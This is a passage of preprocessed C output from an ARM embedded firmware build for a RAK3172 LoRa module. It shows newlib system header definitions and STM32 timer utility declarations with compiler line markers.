(struct _reent *); struct _Bigint *_result; int _result_k; struct _Bigint *_p5s; struct _Bigint **_freelist; int _cvtlen; char *_cvtbuf; union { struct { unsigned int _unused_rand; char * _strtok_last; char _asctime_buf[26]; struct __tm _localtime_buf; int _gamma_signgam; __extension__ unsigned long long _rand_next; struct _rand48 _r48; _mbstate_t _mblen_state; _mbstate_t _mbtowc_state; _mbstate_t _wctomb_state; char _l64a_buf[8]; char _signal_buf[24]; int _getdate_err; _mbstate_t _mbrlen_state; _mbstate_t _mbrtowc_state; _mbstate_t _mbsrtowcs_state; _mbstate_t _wcrtomb_state; _mbstate_t _wcsrtombs_state; int _h_errno; } _reent; struct { #define _N_LISTS 30 unsigned char * _nextf[30]; unsigned int _nmalloc[30]; } _unused; } _new; struct _atexit *_atexit; struct _atexit _atexit0; void (**(_sig_func))(int); struct _glue __sglue; __FILE __sf[3]; }; #define _REENT_STDIO_STREAM(var,index) &(var)->__sf[index] #define _REENT_INIT(var) { 0, _REENT_STDIO_STREAM(&(var), 0), _REENT_STDIO_STREAM(&(var), 1), _REENT_STDIO_STREAM(&(var), 2), 0, "", 0, _NULL, 0, _NULL, _NULL, 0, _NULL, _NULL, 0, _NULL, { { 0, _NULL, "", {0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, 1, { {_RAND48_SEED_0, _RAND48_SEED_1, _RAND48_SEED_2}, {_RAND48_MULT_0, _RAND48_MULT_1, _RAND48_MULT_2}, _RAND48_ADD }, {0, {0}}, {0, {0}}, {0, {0}}, "", "", 0, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}} } }, _REENT_INIT_ATEXIT _NULL, {_NULL, 0, _NULL} } # 751 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _REENT_INIT_PTR_ZEROED(var) { (var)->_stdin = _REENT_STDIO_STREAM(var, 0); (var)->_stdout = _REENT_STDIO_STREAM(var, 1); (var)->_stderr = _REENT_STDIO_STREAM(var, 2); (var)->_new._reent._rand_next = 1; (var)->_new._reent._r48._seed[0] = _RAND48_SEED_0; (var)->_new._reent._r48._seed[1] = _RAND48_SEED_1; (var)->_new._reent._r48._seed[2] = _RAND48_SEED_2; (var)->_new._reent._r48._mult[0] = _RAND48_MULT_0; (var)->_new._reent._r48._mult[1] = _RAND48_MULT_1; (var)->_new._reent._r48._mult[2] = _RAND48_MULT_2; (var)->_new._reent._r48._add = _RAND48_ADD; } # 765 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _REENT_CHECK_RAND48(ptr) #define _REENT_CHECK_MP(ptr) #define _REENT_CHECK_TM(ptr) #define _REENT_CHECK_ASCTIME_BUF(ptr) #define _REENT_CHECK_EMERGENCY(ptr) #define _REENT_CHECK_MISC(ptr) #define _REENT_CHECK_SIGNAL_BUF(ptr) #define _REENT_SIGNGAM(ptr) ((ptr)->_new._reent._gamma_signgam) #define _REENT_RAND_NEXT(ptr) ((ptr)->_new._reent._rand_next) #define _REENT_RAND48_SEED(ptr) ((ptr)->_new._reent._r48._seed) #define _REENT_RAND48_MULT(ptr) ((ptr)->_new._reent._r48._mult) #define _REENT_RAND48_ADD(ptr) ((ptr)->_new._reent._r48._add) #define _REENT_MP_RESULT(ptr) ((ptr)->_result) #define _REENT_MP_RESULT_K(ptr) ((ptr)->_result_k) #define _REENT_MP_P5S(ptr) ((ptr)->_p5s) #define _REENT_MP_FREELIST(ptr) ((ptr)->_freelist) #define _REENT_ASCTIME_BUF(ptr) ((ptr)->_new._reent._asctime_buf) #define _REENT_TM(ptr) (&(ptr)->_new._reent._localtime_buf) #define _REENT_EMERGENCY(ptr) ((ptr)->_emergency) #define _REENT_STRTOK_LAST(ptr) ((ptr)->_new._reent._strtok_last) #define _REENT_MBLEN_STATE(ptr) ((ptr)->_new._reent._mblen_state) #define _REENT_MBTOWC_STATE(ptr) ((ptr)->_new._reent._mbtowc_state) #define _REENT_WCTOMB_STATE(ptr) ((ptr)->_new._reent._wctomb_state) #define _REENT_MBRLEN_STATE(ptr) ((ptr)->_new._reent._mbrlen_state) #define _REENT_MBRTOWC_STATE(ptr) ((ptr)->_new._reent._mbrtowc_state) #define _REENT_MBSRTOWCS_STATE(ptr) ((ptr)->_new._reent._mbsrtowcs_state) #define _REENT_WCRTOMB_STATE(ptr) ((ptr)->_new._reent._wcrtomb_state) #define _REENT_WCSRTOMBS_STATE(ptr) ((ptr)->_new._reent._wcsrtombs_state) #define _REENT_L64A_BUF(ptr) ((ptr)->_new._reent._l64a_buf) #define _REENT_SIGNAL_BUF(ptr) ((ptr)->_new._reent._signal_buf) #define _REENT_GETDATE_ERR_P(ptr) (&((ptr)->_new._reent._getdate_err)) #define _REENT_INIT_PTR(var) { memset((var), 0, sizeof(*(var))); _REENT_INIT_PTR_ZEROED(var); } #define _Kmax (sizeof (size_t) << 3) #define __ATTRIBUTE_IMPURE_PTR__ extern struct _reent *_impure_ptr ; extern struct _reent *const _global_impure_ptr ; void _reclaim_reent (struct _reent *); # 832 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _REENT _impure_ptr #define _GLOBAL_REENT _global_impure_ptr #define _GLOBAL_ATEXIT (_GLOBAL_REENT->_atexit) # 12 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 1 3 # 43 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define _SYS_CDEFS_H_ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 48 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 2 3 #define __PMT(args) args #define __DOTS , ... #define __THROW #define __ASMNAME(cname) __XSTRING (__USER_LABEL_PREFIX__) cname #define __ptr_t void * #define __long_double_t long double #define __attribute_malloc__ #define __attribute_pure__ #define __attribute_format_strfmon__(a,b) #define __flexarr [0] #define __bounded #define __unbounded #define __ptrvalue # 78 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __has_extension __has_feature #define __has_feature(x) 0 # 94 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __BEGIN_DECLS #define __END_DECLS # 107 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __GNUCLIKE_ASM 3 #define __GNUCLIKE_MATH_BUILTIN_CONSTANTS #define __GNUCLIKE___TYPEOF 1 #define __GNUCLIKE___OFFSETOF 1 #define __GNUCLIKE___SECTION 1 #define __GNUCLIKE_CTOR_SECTION_HANDLING 1 #define __GNUCLIKE_BUILTIN_CONSTANT_P 1 #define __GNUCLIKE_BUILTIN_VARARGS 1 #define __GNUCLIKE_BUILTIN_STDARG 1 #define __GNUCLIKE_BUILTIN_VAALIST 1 #define __GNUC_VA_LIST_COMPATIBILITY 1 #define __compiler_membar() __asm __volatile(" " : : : "memory") #define __GNUCLIKE_BUILTIN_NEXT_ARG 1 #define __GNUCLIKE_MATH_BUILTIN_RELOPS #define __GNUCLIKE_BUILTIN_MEMCPY 1 #define __CC_SUPPORTS_INLINE 1 #define __CC_SUPPORTS___INLINE 1 #define __CC_SUPPORTS___INLINE__ 1 #define __CC_SUPPORTS___FUNC__ 1 #define __CC_SUPPORTS_WARNING 1 #define __CC_SUPPORTS_VARADIC_XXX 1 #define __CC_SUPPORTS_DYNAMIC_ARRAY_INIT 1 # 177 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __P(protos) protos #define __CONCAT1(x,y) x ## y #define __CONCAT(x,y) __CONCAT1(x,y) #define __STRING(x) #x #define __XSTRING(x) __STRING(x) #define __const const #define __signed signed #define __volatile volatile # 230 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __weak_symbol __attribute__((__weak__)) # 243 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __dead2 __attribute__((__noreturn__)) #define __pure2 __attribute__((__const__)) #define __unused __attribute__((__unused__)) #define __used __attribute__((__used__)) #define __packed __attribute__((__packed__)) #define __aligned(x) __attribute__((__aligned__(x))) #define __section(x) __attribute__((__section__(x))) #define __alloc_size(x) __attribute__((__alloc_size__(x))) #define __alloc_size2(n,x) __attribute__((__alloc_size__(n, x))) #define __alloc_align(x) __attribute__((__alloc_align__(x))) # 280 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define _Alignas(x) __aligned(x) #define _Alignof(x) __alignof(x) # 296 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define _Atomic(T) struct { T volatile __val; } #define _Noreturn __dead2 # 331 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define _Thread_local __thread # 351 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __generic(expr,t,yes,no) __builtin_choose_expr( __builtin_types_compatible_p(__typeof(expr), t), yes, no) # 366 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __min_size(x) static (x) #define __malloc_like __attribute__((__malloc__)) #define __pure __attribute__((__pure__)) #define __always_inline __inline__ __attribute__((__always_inline__)) #define __noinline __attribute__ ((__noinline__)) #define __nonnull(x) __attribute__((__nonnull__ x)) #define __nonnull_all __attribute__((__nonnull__)) #define __fastcall __attribute__((__fastcall__)) #define __result_use_check __attribute__((__warn_unused_result__)) #define __returns_twice __attribute__((__returns_twice__)) #define __unreachable() __builtin_unreachable() # 434 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __restrict restrict # 467 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __predict_true(exp) __builtin_expect((exp), 1) #define __predict_false(exp) __builtin_expect((exp), 0) #define __null_sentinel __attribute__((__sentinel__)) #define __exported __attribute__((__visibility__("default"))) #define __hidden __attribute__((__visibility__("hidden"))) # 489 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __offsetof(type,field) offsetof(type, field) #define __rangeof(type,start,end) (__offsetof(type, end) - __offsetof(type, start)) # 500 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __containerof(x,s,m) ({ const volatile __typeof(((s *)0)->m) *__x = (x); __DEQUALIFY(s *, (const volatile char *)__x - __offsetof(s, m));}) # 522 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __printflike(fmtarg,firstvararg) __attribute__((__format__ (__printf__, fmtarg, firstvararg))) #define __scanflike(fmtarg,firstvararg) __attribute__((__format__ (__scanf__, fmtarg, firstvararg))) #define __format_arg(fmtarg) __attribute__((__format_arg__ (fmtarg))) #define __strfmonlike(fmtarg,firstvararg) __attribute__((__format__ (__strfmon__, fmtarg, firstvararg))) #define __strftimelike(fmtarg,firstvararg) __attribute__((__format__ (__strftime__, fmtarg, firstvararg))) # 539 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __printf0like(fmtarg,firstvararg) #define __strong_reference(sym,aliassym) extern __typeof (sym) aliassym __attribute__ ((__alias__ (#sym))) #define __weak_reference(sym,alias) __asm__(".weak " #alias); __asm__(".equ " #alias ", " #sym) #define __warn_references(sym,msg) __asm__(".section .gnu.warning." #sym); __asm__(".asciz \"" msg "\""); __asm__(".previous") #define __sym_compat(sym,impl,verid) __asm__(".symver " #impl ", " #sym "@" #verid) #define __sym_default(sym,impl,verid) __asm__(".symver " #impl ", " #sym "@@" #verid) # 593 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __FBSDID(s) struct __hack #define __RCSID(s) struct __hack #define __RCSID_SOURCE(s) struct __hack #define __SCCSID(s) struct __hack #define __COPYRIGHT(s) struct __hack #define __DECONST(type,var) ((type)(__uintptr_t)(const void *)(var)) #define __DEVOLATILE(type,var) ((type)(__uintptr_t)(volatile void *)(var)) #define __DEQUALIFY(type,var) ((type)(__uintptr_t)(const volatile void *)(var)) #define _Nonnull #define _Nullable #define _Null_unspecified #define __NULLABILITY_PRAGMA_PUSH #define __NULLABILITY_PRAGMA_POP # 653 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __arg_type_tag(arg_kind,arg_idx,type_tag_idx) #define __datatype_type_tag(kind,type) # 672 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/cdefs.h" 3 #define __lock_annotate(x) #define __lockable __lock_annotate(lockable) #define __locks_exclusive(...) __lock_annotate(exclusive_lock_function(__VA_ARGS__)) #define __locks_shared(...) __lock_annotate(shared_lock_function(__VA_ARGS__)) #define __trylocks_exclusive(...) __lock_annotate(exclusive_trylock_function(__VA_ARGS__)) #define __trylocks_shared(...) __lock_annotate(shared_trylock_function(__VA_ARGS__)) #define __unlocks(...) __lock_annotate(unlock_function(__VA_ARGS__)) #define __asserts_exclusive(...) __lock_annotate(assert_exclusive_lock(__VA_ARGS__)) #define __asserts_shared(...) __lock_annotate(assert_shared_lock(__VA_ARGS__)) #define __requires_exclusive(...) __lock_annotate(exclusive_locks_required(__VA_ARGS__)) #define __requires_shared(...) __lock_annotate(shared_locks_required(__VA_ARGS__)) #define __requires_unlocked(...) __lock_annotate(locks_excluded(__VA_ARGS__)) #define __no_lock_analysis __lock_annotate(no_thread_safety_analysis) #define __guarded_by(x) __lock_annotate(guarded_by(x)) #define __pt_guarded_by(x) __lock_annotate(pt_guarded_by(x)) # 13 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 2 3 #define __need_size_t #define __need_NULL # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 155 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_ptrdiff_t # 231 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_size_t # 340 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_wchar_t # 390 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef NULL #define NULL ((void *)0) #undef __need_NULL #define offsetof(TYPE,MEMBER) __builtin_offsetof (TYPE, MEMBER) # 18 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 2 3 # 27 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 3 void * memchr (const void *, int, size_t); int memcmp (const void *, const void *, size_t); void * memcpy (void *restrict, const void *restrict, size_t); void * memmove (void *, const void *, size_t); void * memset (void *, int, size_t); char *strcat (char *restrict, const char *restrict); char *strchr (const char *, int); int strcmp (const char *, const char *); int strcoll (const char *, const char *); char *strcpy (char *restrict, const char *restrict); size_t strcspn (const char *, const char *); char *strerror (int); size_t strlen (const char *); char *strncat (char *restrict, const char *restrict, size_t); int strncmp (const char *, const char *, size_t); char *strncpy (char *restrict, const char *restrict, size_t); char *strpbrk (const char *, const char *); char *strrchr (const char *, int); size_t strspn (const char *, const char *); char *strstr (const char *, const char *); char *strtok (char *restrict, const char *restrict); size_t strxfrm (char *restrict, const char *restrict, size_t); # 86 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 3 char *_strdup_r (struct _reent *, const char *); char *_strndup_r (struct _reent *, const char *, size_t); # 112 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 3 char * _strerror_r (struct _reent *, int, int, int *); # 134 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 3 char *strsignal (int __signo); # 175 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/string.h" 1 3 # 176 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 2 3 # 30 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" 2 # 54 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" # 54 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" int tiny_vsnprintf_like(char *buf, const int size, const char *fmt, va_list args); # 37 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" 2 # 49 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" #define VLEVEL_OFF 0 #define VLEVEL_ALWAYS 0 #define VLEVEL_L 1 #define VLEVEL_M 2 #define VLEVEL_H 3 #define TS_OFF 0 #define TS_ON 1 #define T_REG_OFF 0 # 78 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" #define UTIL_PLACE_IN_SECTION(__x__) __attribute__((section (__x__))) #undef ALIGN #define ALIGN(n) __attribute__((aligned(n))) #define UTIL_SEQ_INIT_CRITICAL_SECTION() UTILS_INIT_CRITICAL_SECTION() #define UTIL_SEQ_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() #define UTIL_SEQ_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() #define UTIL_SEQ_MEMSET8(dest,value,size) UTIL_MEM_set_8( dest, value, size ) #define UTILS_INIT_CRITICAL_SECTION() #define UTILS_ENTER_CRITICAL_SECTION() uint32_t primask_bit= __get_PRIMASK(); __disable_irq() #define UTILS_EXIT_CRITICAL_SECTION() __set_PRIMASK(primask_bit) # 135 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" #define UTIL_ADV_TRACE_CONDITIONNAL #define UTIL_ADV_TRACE_UNCHUNK_MODE #define UTIL_ADV_TRACE_DEBUG(...) #define UTIL_ADV_TRACE_INIT_CRITICAL_SECTION() UTILS_INIT_CRITICAL_SECTION() #define UTIL_ADV_TRACE_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() #define UTIL_ADV_TRACE_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() #define UTIL_ADV_TRACE_TMP_BUF_SIZE (512U) #define UTIL_ADV_TRACE_TMP_MAX_TIMESTMAP_SIZE (15U) #define UTIL_ADV_TRACE_FIFO_SIZE (1024U) #define UTIL_ADV_TRACE_MEMSET8(dest,value,size) UTIL_MEM_set_8((dest),(value),(size)) #define UTIL_ADV_TRACE_VSNPRINTF(...) tiny_vsnprintf_like(__VA_ARGS__) # 61 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" 2 # 70 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" typedef enum { UTIL_TIMER_ONESHOT = 0, UTIL_TIMER_PERIODIC = 1 } UTIL_TIMER_Mode_t; typedef enum { UTIL_TIMER_OK = 0, UTIL_TIMER_INVALID_PARAM = 1, UTIL_TIMER_HW_ERROR = 2, UTIL_TIMER_UNKNOWN_ERROR = 3 } UTIL_TIMER_Status_t; typedef struct TimerEvent_s { uint32_t Timestamp; uint32_t ReloadValue; uint8_t IsPending; uint8_t IsRunning; uint8_t IsReloadStopped; UTIL_TIMER_Mode_t Mode; void ( *Callback )( void *); void *argument; struct TimerEvent_s *Next; } UTIL_TIMER_Object_t; typedef struct { UTIL_TIMER_Status_t (* InitTimer )( void ); UTIL_TIMER_Status_t (* DeInitTimer )( void ); UTIL_TIMER_Status_t (* StartTimerEvt )( uint32_t timeout ); UTIL_TIMER_Status_t (* StopTimerEvt )( void); uint32_t (* SetTimerContext)( void ); uint32_t (* GetTimerContext)( void ); uint32_t (* GetTimerElapsedTime)( void ); uint32_t (* GetTimerValue)( void ); uint32_t (* GetMinimumTimeout)( void ); uint32_t (* ms2Tick)( uint32_t timeMicroSec ); uint32_t (* Tick2ms)( uint32_t tick ); } UTIL_TIMER_Driver_s; typedef uint32_t UTIL_TIMER_Time_t; # 142 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" extern const UTIL_TIMER_Driver_s UTIL_TimerDriver; # 162 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_Init(void); UTIL_TIMER_Status_t UTIL_TIMER_DeInit(void); # 184 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_Create( UTIL_TIMER_Object_t *TimerObject, uint32_t PeriodValue, UTIL_TIMER_Mode_t Mode, void ( *Callback )( void *) , void *Argument); UTIL_TIMER_Status_t UTIL_TIMER_Start( UTIL_TIMER_Object_t *TimerObject ); # 201 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_StartWithPeriod( UTIL_TIMER_Object_t *TimerObject, uint32_t PeriodValue); UTIL_TIMER_Status_t UTIL_TIMER_Stop( UTIL_TIMER_Object_t *TimerObject ); # 219 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_SetPeriod(UTIL_TIMER_Object_t *TimerObject, uint32_t NewPeriodValue); # 228 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_SetReloadMode(UTIL_TIMER_Object_t *TimerObject, UTIL_TIMER_Mode_t ReloadMode); # 237 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Status_t UTIL_TIMER_GetRemainingTime(UTIL_TIMER_Object_t *TimerObject, uint32_t *Time); uint32_t UTIL_TIMER_IsRunning( UTIL_TIMER_Object_t *TimerObject ); uint32_t UTIL_TIMER_GetFirstRemainingTime(void); UTIL_TIMER_Time_t UTIL_TIMER_GetCurrentTime(void); # 269 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" UTIL_TIMER_Time_t UTIL_TIMER_GetElapsedTime(UTIL_TIMER_Time_t past ); # 278 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" void UTIL_TIMER_IRQ_Handler( void ); # 32 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" 2 # 45 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" #define TIMERTIME_T_MAX ( ( uint32_t )~0 ) # 60 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" #define TimerTime_t UTIL_TIMER_Time_t #define TimerEvent_t UTIL_TIMER_Object_t #define TimerInit(HANDLE,CB) do { UTIL_TIMER_Create( HANDLE, TIMERTIME_T_MAX, UTIL_TIMER_ONESHOT, CB, NULL); } while(0) #define TimerSetValue(HANDLE,TIMEOUT) do{ UTIL_TIMER_SetPeriod(HANDLE, TIMEOUT); } while(0) #define TimerStart(HANDLE) do { UTIL_TIMER_Start(HANDLE); } while(0) #define TimerStop(HANDLE) do { if (UTIL_TIMER_IsRunning(HANDLE)) { UTIL_TIMER_Stop(HANDLE); } } while(0) # 100 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" #define TimerGetCurrentTime UTIL_TIMER_GetCurrentTime #define TimerGetElapsedTime UTIL_TIMER_GetElapsedTime #define TimerTempCompensation(x,y) (x) # 46 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/systime.h" 1 # 24 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/systime.h" #define __SYSTIME_H__ # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" 1 # 46 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" #define __STM32_SYS_TIME_H__ # 59 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 1 3 #define _TIME_H_ #define __need_size_t #define __need_NULL # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 155 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_ptrdiff_t # 231 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_size_t # 340 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_wchar_t # 390 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef NULL #define NULL ((void *)0) #undef __need_NULL #define offsetof(TYPE,MEMBER) __builtin_offsetof (TYPE, MEMBER) # 17 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/time.h" 1 3 #define _MACHTIME_H_ #define _CLOCKS_PER_SEC_ 100 # 20 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 2 3 #define CLOCKS_PER_SEC _CLOCKS_PER_SEC_ #define CLK_TCK CLOCKS_PER_SEC # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 1 3 # 28 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 3 # 28 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 3 typedef __uint8_t u_int8_t; typedef __uint16_t u_int16_t; typedef __uint32_t u_int32_t; typedef __uint64_t u_int64_t; typedef __intptr_t register_t; #define __BIT_TYPES_DEFINED__ 1 #define _SYS_TYPES_H # 97 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 3 typedef __blkcnt_t blkcnt_t; #define _BLKCNT_T_DECLARED typedef __blksize_t blksize_t; #define _BLKSIZE_T_DECLARED typedef unsigned long clock_t; #define __clock_t_defined #define _CLOCK_T_DECLARED typedef __int_least64_t time_t; #define __time_t_defined #define _TIME_T_DECLARED typedef long daddr_t; #define __daddr_t_defined typedef char * caddr_t; #define __caddr_t_defined typedef __fsblkcnt_t fsblkcnt_t; typedef __fsfilcnt_t fsfilcnt_t; #define _FSBLKCNT_T_DECLARED typedef __id_t id_t; #define _ID_T_DECLARED typedef __ino_t ino_t; #define _INO_T_DECLARED # 157 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 3 typedef __off_t off_t; #define _OFF_T_DECLARED typedef __dev_t dev_t; #define _DEV_T_DECLARED typedef __uid_t uid_t; #define _UID_T_DECLARED typedef __gid_t gid_t; #define _GID_T_DECLARED typedef __pid_t pid_t; #define _PID_T_DECLARED typedef __key_t key_t; #define _KEY_T_DECLARED typedef _ssize_t ssize_t; #define _SSIZE_T_DECLARED typedef __mode_t mode_t; #define _MODE_T_DECLARED typedef __nlink_t nlink_t; #define _NLINK_T_DECLARED typedef __clockid_t clockid_t; #define __clockid_t_defined #define _CLOCKID_T_DECLARED typedef __timer_t timer_t; #define __timer_t_defined #define _TIMER_T_DECLARED typedef __useconds_t useconds_t; #define _USECONDS_T_DECLARED typedef __suseconds_t suseconds_t; #define _SUSECONDS_T_DECLARED typedef __int64_t sbintime_t; # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_pthreadtypes.h" 1 3 # 19 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_pthreadtypes.h" 3 #define _SYS__PTHREADTYPES_H_ # 224 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 2 3 # 1 